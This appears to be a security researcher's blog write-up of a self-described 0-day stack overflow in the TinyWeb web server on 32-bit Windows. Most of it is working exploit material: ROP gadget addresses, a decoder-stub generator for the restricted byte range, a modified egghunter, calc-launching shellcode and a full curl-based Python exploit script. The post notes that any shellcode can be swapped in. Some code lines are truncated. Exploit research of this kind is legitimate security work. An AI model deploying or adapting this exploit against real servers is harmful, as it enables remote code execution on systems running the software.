Stack Overflow, but the largest byte is 3F

March 14, 2026 · 17 min · 3421 words · Nathan

This covers my recent 0-day in tinyweb, an exploit that functions on x86 windows programs. If hosted with the most recent dlls and on the newest windows, this has 100% reliability. - at least on my computer ;)

This is a new exploit to! I started out with discovering a stack-based buffer overflow in the Authorization header. However, there are a few thing to understand this exploit.

Everything is base64 encoded and mapped in hex. This does mean we can use null bytes though!

A -> Base64 Mapped -> 0 -> Converted to Hex -> 0x00 p -> Base64 Mapped -> 41 -> Converted to Hex -> 0x29

This also means that we can use null bytes! However, since the largest character in base64 is /, that maps to 63, which is 3F in hex. So our largest single byte we can send is 3F.

Furthermore, the largest payload we can put on the stack is 692 bytes. After guess and check, I discovered the offset for where the eip is located at, and the largest size my buffer could be. At this point, my exploit looked like this:

```
import subprocess
payload= b'A' * 268

payload += b'jPMQ' #100c0f23 , this is just a ret, for an easy breakpoint to set.

payload += b'D' * (692 - len(payload))
subprocess.run([
    'curl', '-k', '-s',
    '-H', f'Authorization: Basic {payload.decode("latin-1")}',
    'https://10.5.5.211:80/index.html'
])
```

General constraints and setup

1. We have a max of 692 bytes to play with. This is tiny.
2. Max byte size is 3F
3. But no stack protections, aslr, or DEP! I downloaded the dll's needed from a dll finding webpage. I took the most recent version of each DLL, and this one in specific, (libeay32), does not have ASLR. Since this application does not include DLL's, these must be downloaded separately. I did what a lazy it person might do and downloaded all versions of these DLL's by googling the names and downloading them from random websites.

https://www.dll-files.com/libeay32.dll.html - md5 hash of 63fc3d04431e49ebf8e8974c70634636

The main application can be downladed pre-compiled here: https://www.ritlabs.com/en/products/tinyweb/download.php

This only works on Windows 10, 19045, 32 bit. However, that can be easily changed.

General plan:

1. Rop chain to jmp esp, shift execution to the stack
2. Build a custom decoder for an egghunter
3. Use the egghunter to find the shellcode sent seperatly on the heap
4. Jump to the real shellcode!

Rop chain!

Searching for gadgets was really tough, since each byte has to be < 3F. Here was the grep sequence I used:

```
grep -E "^0x10[0-3][0-9a-f][0-3][0-9a-f][0-3][0-9a-f]" all.txt | grep "pop ecx"
```

Ultimately, we want to esp = eip, so we can shift execution to the stack. The only gadget I found to do this has some side effects, and this is what I ended up using. It uses push esp, ret, which is perfect.

```
adc al, 0x8B ; push esp ; and al, 0x04 ; mov  [edx], ecx ; ret (10073906) -> G5HQ
```

So this requires edx to be a writable address. So let’s look for a way to control edx! The only way I could control edx through this dirty gadget, through an xor. So, if we load an address into ecx, we can xor it with a value. edx has been holding 000001FE when debugging, so if we xor that with 00010101, we get 000100FF, which is also writable.

```
xor edx, ecx ; pop edi ; mov [esi+4], edx ; pop esi ; ret (10012109) -> JhBQ
```

However, this requires two pops, and esi being a writable address. That's fine, there is a nice pop esi we can use here:

```
xor eax, eax ; pop esi ; ret (0x1007031a) -> aDHQ
```

And, we also need a way to edit ecx, which was found here:

```
pop ecx ; ret (0x100a0609) -> JGKQ
```

Great! now we can fully patch the chain. We also need a safe known writable address. I ended up choosing one in the original binary, 00010101, as this has all bytes < 3F

```
payload += b'BBBA' # this is our safe rw address.
```

So now we can assembly our whole rop chain, and add our known addresses to the stack, and add in junk values.

```
##this makes esi safe for a later write
payload += b'aDHQ' # xor eax, eax ; pop esi ; ret (0x1007031a) -> aDHQ
payload += b'BBBA' # this is the safe rw address. putting it in esi (0x00010101)

##edx needs a real address too for a write. no pop edx, lets make our own. we'll
payload += b'JGKQ' #  pop ecx ; ret (0x100a0609) -> JGKQ
payload += b'BBBA' # this is our safe rw address.

##edx has been holding 000001FE. so if we xor it with 00010101, we get 000100FF,
##also this is why we needed esi to be writable
payload += b'JhBQ' # xor edx, ecx ; pop edi ; mov [esi+4], edx ; pop esi ; ret (1
payload += b'junk'*2 # Junk for the pops.

##edx is still writable. allowing us to push esp and ret. This is our trampoline.
payload += b'G5HQ' # adc al, 0x8B ; push esp ; and al, 0x04 ; mov  [edx], ecx ; r
```

Not completely done! While the execution is shifted back into the stack, we have no way to copy value of the stack. When developing a custom decoder, we need to know the address of the stack and move it to a register we contorl, we can use add instructions.

The main issue with the custom decoder is the fact that we can only really use add commands to registers, and and with 0. Furthermore, since I don't really want to do a whole bunch of math to make this shorter, I would rather put a whole bunch of NOP's and have the stub overwrite the nops, although I could do all of this math manually.

However, before we worry about that stub, we need a way to copy esp to another register, which means another rop chain. Luckily, we already have edx patched for this dirty chain:

```
###############we also want to save the value of esp to a register before we push.
payload += b'DJHQ' # push esp ; and al, 0x10 ; mov eax, 0x00000003 ; mov [edx], e
#######now esi holds esp with this dirty gadget. yay!
```

Rop chain is done, time to work on the stub/decoder!

Custom decoder

At this point, we have access to the stack pointer in esi, and we can use an add instruction. Pulling up the asm encoder, we can look at the codes here. I plan to use the add ones here: http://ref.x86asm.net/coder32.html Everything will have to be with immediate, which is fine. The goal is not to be optomized, at all, but to use each byte <3F.

pf	0F	po	so	o	proc	st	m	rl	x	mnemonic	op1	op2
		00		r					L	ADD	**r/m8**	r8
		01		r					L	ADD	**r/m16/32**	r16/32
		02		r						ADD	**r8**	r/m8
		03		r						ADD	**r16/32**	r/m16/32
		04								ADD	**AL**	imm8
		05								ADD	**eAX**	imm16/32

And is at opcode 25, so we can use that too:

		21		r					L	AND	**r/m16/32**	r16/32
		22		r						AND	**r8**	r/m8
		23		r						AND	**r16/32**	r/m16/32
		24								AND	**AL**	imm8
		25								AND	**eAX**	imm16/32

So all I plan on using is opcode 05 (add to register) opcode 01 (for incrementing esi), and opcode 25 (and with register). So to test this, I originally made instructions to do this.

First we want to clear out eax, and then add that to esi. We need to use add with immediate, which is not specified by default. This works, though.

```
nasm > and eax, strict dword 0x01
00000000  2501000000        and eax,0x1
```

And now we can add that to our payload:

```
payload += b'lAAAA' # AND EAX, 0
```

We can use the same add with immediate trick to add a relatively large value to eax.

```
nasm > and eax, strict dword 0x3427150E
00000000  250E152734        and eax,0x3427150e
```

Now we convert that to ascii: and add it to our payload:

```
payload += b'FOVn0' # ADD EAX, 0x3427150E
```

NASM is compiling constantly using bytes I can’t use. I want to force SIB, which is less efficient. The x1 means its a scaled index. Nosplit means do not optomize this block back to a base register. This forces the cpu to use mod/RM (FINALLY) which looks to the next byte for the address. The next byte is 35, which is used as the index and adds displacement.

To read more about SIB, please read this: https://www.c-jump.com/CIS77/CPU/x86/X77_0110_scaled_indexed.htm Or this stack overflow thread: https://stackoverflow.com/questions/65968717/understanding-the-sib-byte-in-x86-assembly

```
nasm > add [nosplit esi*1 + 283], eax
00000000  0104351B010000    add [esi+0x11b],eax
```

And finally we need to add to ESI.

```
payload += b'BE1bBAA' # ADD [ESI + 283], EAX
```

I set a breakpoint at my last known rop address, and I was able to write to esp+283! This is great news, this means that this custom stub is working, and we can actually use these codes. But there is absolutely no way that I would use this manually for every single add.

I then created a script to automate the rest of these adds, so I can supply this stub with shellcode, and it will use these 3 commands to translate any address < 3F to any opcode.

Another thing to remember, is that our nop sled is using 2F. This means that every address equals 2f2f2f2f, meaning our target address will have to account for this. Full disclaimer, I used Gemini to help generate this script. I know, AI is frowned upon, but i'd rather work on the active exploit when I know exactly what I need.

```
import struct

b64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def to_b64(val):
    if val > 63:
        raise ValueError(f"byte here 0x{val:02X} is over the 0x3F size!")
    return b64_chars[val]

def encode_inst(bytes_list):
    return "".join(to_b64(b) for b in bytes_list)

def generate_decoder(raw_payload):
```

```
    while len(raw_payload) % 4 != 0:
        raw_payload += b'\x90'

    output = []
    output.append("##### AUTOMATED DECODER STUB #####")

    for i in range(0, len(raw_payload), 4):
        dword = raw_payload[i:i+4]
        target_val = struct.unpack("<I", dword)[0]


        #everything is subtracted from our nop sled, which is 2F. This means any
        diff = (target_val - 0x2F2F2F2F) & 0xFFFFFFFF
        diff_bytes = struct.pack("<I", diff)

        offset = i + 283


        output.append(f"\n# --- Decoding DWORD at ESI + {offset} ---")
        output.append(f"payload += b'lAAAA' # AND EAX, 0")

        disp32 = struct.pack("<I", offset)
        for b in disp32:
            if b > 63:
                raise ValueError(f"Offset {offset} requires byte 0x{b:02X}, break

        write_inst = encode_inst([0x01, 0x04, 0x35] + list(disp32))

        max_byte = max(diff_bytes)
        num_adds = max(1, (max_byte + 62) // 63)

        addends = []
        for j in range(num_adds):
            addend = []
            for b in diff_bytes:
                val = b // num_adds
                if j < (b % num_adds):
                    val += 1
                addend.append(val)
            addends.append(addend)

        for addend in addends:
            inst_bytes = [0x05, addend[0], addend[1], addend[2], addend[3]]
            b64_inst = encode_inst(inst_bytes)
            hex_val = struct.unpack("<I", bytes(addend))[0]
            output.append(f"payload += b'{b64_inst}' # ADD EAX, 0x{hex_val:08X}")
```

```
        output.append(f"payload += b'{write_inst}' # ADD [ESI + {offset}], EAX")

    return "\n".join(output)
target_payload = b"\x90"
print(generate_decoder(target_payload))
```

The offset was set to 283, and this means we will be dealing with some hard limits for my egghunter. The egghunter must be incredibly short, because we are constantly adding more to that offset.

So, the base offset starts at 0x011B, or 283 for a reason. It writes 4 bytes on the stack, and I have a 34 byte payload I'm planning on using (the egghunter). So, this must be looped 9 times total. 9-1 (we start at 0) x 4 (byte payload) = 32. This means that that offset I choose is extremely important, as I have to add 32 to the end. So, I have 0x011b + 0x20 (32), which equals 0x013B, which is < 3F. So this functions!

How about I just increase that limit? Not easy. Let's move to 287, which is 0x011F. Let's add 0x20 to that, which is 0x3F. Actually, I could have used this, that was kind of stupid. Oh well, 287 is the biggest. Point is, we can't go any further! The next safe number I can use in hex is 512, which is way further away. So we are stuck with 283. (or 287) This is extremely important.

Egg Hunter

One of my friends saw this and called this a "BS finder", and he's right, thats a great name.

I used the shortest egghunter I could find, created by Matt Miller. I found it at this comment: https://gist.github.com/ruvolof/83614f74a1222dcfd504935fe06e0837?permalink_comment_id=5617512 However, it required a little bit of editing. It uses NtAccessCheckAndAuditAlarm to test to see if a memory address is accessable, and the offset for the syscall was off. Running `u ntdll!NtAccessCheckAndAuditAlarm` in windbg will display the correct offset, and my comments show where to replace that.

Matt Miller Egghunter:

```
target_payload = b"\x66\x81\xca\xff\x0f\x42\x52" # OR DX, 0x0FFF , inc edx, push
target_payload +=b"\xb8\xc9\x01\x00\x00"  # load syscall id. this changes, run u
target_payload +=b"\xcd\x2e\x3c\x05\x5a\x74\xed" # INT 0x2E, CMP AL, 0x05 (access
target_payload +=b"\xb8\x54\x30\x30\x57" # mov eax, 0x57303054. This is T00W. bac
target_payload +=b"\x8b\xfa\xaf\x75\xe8" # MOV EDI, EDX ; SCASD; JNZ 0x07( keeps
target_payload +=b"\xaf\x75\xe5" # SCASD; JNZ 0x07; (if only one tag keep searchi
target_payload +=b"\xff\xe7" #  ; JMP EDI
```

However, sending this normally using my the custom decoder results in instructions being put around 300 bytes. This is really bad, so from here I have a few options:

1. Use my decoder to island hop my initial buffer of the 268 bytes sent to trigger the overflow
2. Optimize the nop sled and clear it out with A's instead - better in hindsight, but would have to get all the math perfect for the nop sled after.
3. Slightly optomize the Matt Miller EggHunter.

I chose a combination of option 2 and 3, as it was the easiest to implement. I changed the string to look for in the EggHunter from w00t to T00W. This shortened the payload by an extra add instruction, which shortened the payload size to 283. Let me explain why.

w00t in hex = 0x74303077. The decoder stub starts by subtracting the target - 2F. 0x2F2F2F2F . That difference is 0x45010148, which has bytes that are too big for me to complete in one add.

T00W = 0x57303054. subtract 2f from that, and we get : 0x28010125. All of these bytes are small enough to function in one add! This is what allows it to work.

So, I updated the Matt Miller Egghunter, and ran it through the generator script. This gave me the correct code stub to create that eggshell hunter.

Jump to real shellcode!

All that's left to do is ensure that the egghunter is working correctly. In this case, I had to switch the syscall id due to my windows version. This can be easily adjusted for

different versions of computers that are hosting the application, however.

All that's left to do is to add some shellcode to the heap. We can just send in our shellcode in a post request, and add the tag T00WT00W to the end of it.

```
shelly = b"\x31\xd2\x52\x68\x63\x61\x6c\x63\x54\x59\x52\x51\x64\x8b\x72\x30\x8b\x
post_body = b"T00WT00W" + shelly
```

I didn't want to use another stub shellcode, so I just used this extremely small universal shellcode to launch calc.exe. However, any shellcode here could be used. You could just replace this shellcode section and run it, as I don't believe there is a space restriction at all on this.

Final payload is an extremely small version of calc.exe, taken from here https://github.com/peterferrie/win-exec-calc-shellcode Compilation:

```
nasm -f bin winx86.asm -o payload.bin
xxd -i payload.bin
python3 formatter.py payload.bin
```

formatter:

```
import sys
with open(sys.argv[1], "rb") as f:
    chunk = f.read()
hex_str = "".join(f"\\x{b:02x}" for b in chunk)
print(f'shellcode = b"{hex_str}"')
```

Setting breakpoints shows that we can jump to this shellcode.

Full Exploit:

```
import subprocess

# 1. Padding to reach EIP
payload = b'A' * 268
```

```
##### rop chain to pivot to stack. each byte has to be <0x3f, so this is hard lol


##this makes esi safe for a later write
payload += b'aDHQ' # xor eax, eax ; pop esi ; ret (0x1007031a) -> aDHQ
payload += b'BBBA' # this is the safe rw address. putting it in esi (0x00010101)

##edx needs a real address too for a write. no pop edx, lets make our own. we'll
payload += b'JGKQ' #  pop ecx ; ret (0x100a0609) -> JGKQ
payload += b'BBBA' # this is our safe rw address.

##edx has been holding 000001FE. so if we xor it with 00010101, we get 000100FF,
##also this is why we needed esi to be writable
payload += b'JhBQ' # xor edx, ecx ; pop edi ; mov [esi+4], edx ; pop esi ; ret (1
payload += b'junk'*2 # Junk for the pops.

###############we also want to save the value of esp to a register before we push.
payload += b'DJHQ' # push esp ; and al, 0x10 ; mov eax, 0x00000003 ; mov [edx], e
#######now esi holds esp with this dirty gadget. yay!

##edx is still writable. allowing us to push esp and ret. This is our trampoline.
payload += b'G5HQ' # adc al, 0x8B ; push esp ; and al, 0x04 ; mov  [edx], ecx ; r



##### AUTOMATED DECODER STUB #####

# --- Decoding DWORD at ESI + 283 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'FOVn0' # ADD EAX, 0x3427150E
payload += b'FOVn0' # ADD EAX, 0x3427150E
payload += b'FOUn0' # ADD EAX, 0x3427140E
payload += b'FNUm0' # ADD EAX, 0x3426140D
payload += b'BE1bBAA' # ADD [ESI + 283], EAX

# --- Decoding DWORD at ESI + 287 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'F4FJj' # ADD EAX, 0x23090538
payload += b'F4FJi' # ADD EAX, 0x22090538
payload += b'F4EJi' # ADD EAX, 0x22090438
payload += b'F4EIi' # ADD EAX, 0x22080438
payload += b'BE1fBAA' # ADD [ESI + 287], EAX

# --- Decoding DWORD at ESI + 291 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'Fn100' # ADD EAX, 0x34343527
```

```
payload += b'Fn100' # ADD EAX, 0x34343527
payload += b'Fm000' # ADD EAX, 0x34343426
payload += b'Fm000' # ADD EAX, 0x34343426
payload += b'BE1jBAA' # ADD [ESI + 291], EAX

# --- Decoding DWORD at ESI + 295 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'FgzDr' # ADD EAX, 0x2B033320
payload += b'FgzDr' # ADD EAX, 0x2B033320
payload += b'FgzCr' # ADD EAX, 0x2B023320
payload += b'FfzCr' # ADD EAX, 0x2B02331F
payload += b'FfzCq' # ADD EAX, 0x2A02331F
payload += b'BE1nBAA' # ADD [ESI + 295], EAX

# --- Decoding DWORD at ESI + 299 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'FLSwj' # ADD EAX, 0x2330120B
payload += b'FLRwi' # ADD EAX, 0x2230110B
payload += b'FLRvi' # ADD EAX, 0x222F110B
payload += b'FKRvi' # ADD EAX, 0x222F110A
payload += b'BE1rBAA' # ADD [ESI + 299], EAX

# --- Decoding DWORD at ESI + 303 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'FlBBo' # ADD EAX, 0x28010125
payload += b'BE1vBAA' # ADD [ESI + 303], EAX

# --- Decoding DWORD at ESI + 307 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'FXzgS' # ADD EAX, 0x12203317
payload += b'FXzgS' # ADD EAX, 0x12203317
payload += b'FXzgR' # ADD EAX, 0x11203317
payload += b'FXygR' # ADD EAX, 0x11203217
payload += b'BE1zBAA' # ADD [ESI + 307], EAX

# --- Decoding DWORD at ESI + 311 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'F+rY9' # ADD EAX, 0x3D182B3E
payload += b'F+rX9' # ADD EAX, 0x3D172B3E
payload += b'F9qX8' # ADD EAX, 0x3C172A3D
payload += b'BE13BAA' # ADD [ESI + 311], EAX

# --- Decoding DWORD at ESI + 315 ---
payload += b'lAAAA' # AND EAX, 0
payload += b'F0uZZ' # ADD EAX, 0x19192E34
payload += b'F0uYY' # ADD EAX, 0x18182E34
```

```
payload += b'F0uYY' # ADD EAX, 0x18182E34
payload += b'F0uYY' # ADD EAX, 0x18182E34
payload += b'BE17BAA' # ADD [ESI + 315], EAX

##############################################
payload += b'v' * (692 - len(payload)) # nop slide as final padding. becomes DAS
##############################################

shelly = b"\x31\xd2\x52\x68\x63\x61\x6c\x63\x54\x59\x52\x51\x64\x8b\x72\x30\x8b\x

post_body = b"T00WT00W" + shelly


try:
    result = subprocess.run([
        'curl', '-k', '-s',
        '-X', 'POST',
        '-H', f'Authorization: Basic {payload.decode("latin-1")}',
        '-H', 'Content-Type: application/octet-stream', # needed for data binary
        '--data-binary', '@-', # lets us pipe our load in curl
        'https://10.5.5.211:80/index.html'
    ], input=post_body, capture_output=True)

    print("[+] sent!. firewall integrity = 20%")

except Exception as e:
    print(f"[-] u suck at codeing: {e}")
```

« PREV
ROP chaining, stack overflows, and OSED

NEXT »
My 0-days in IObit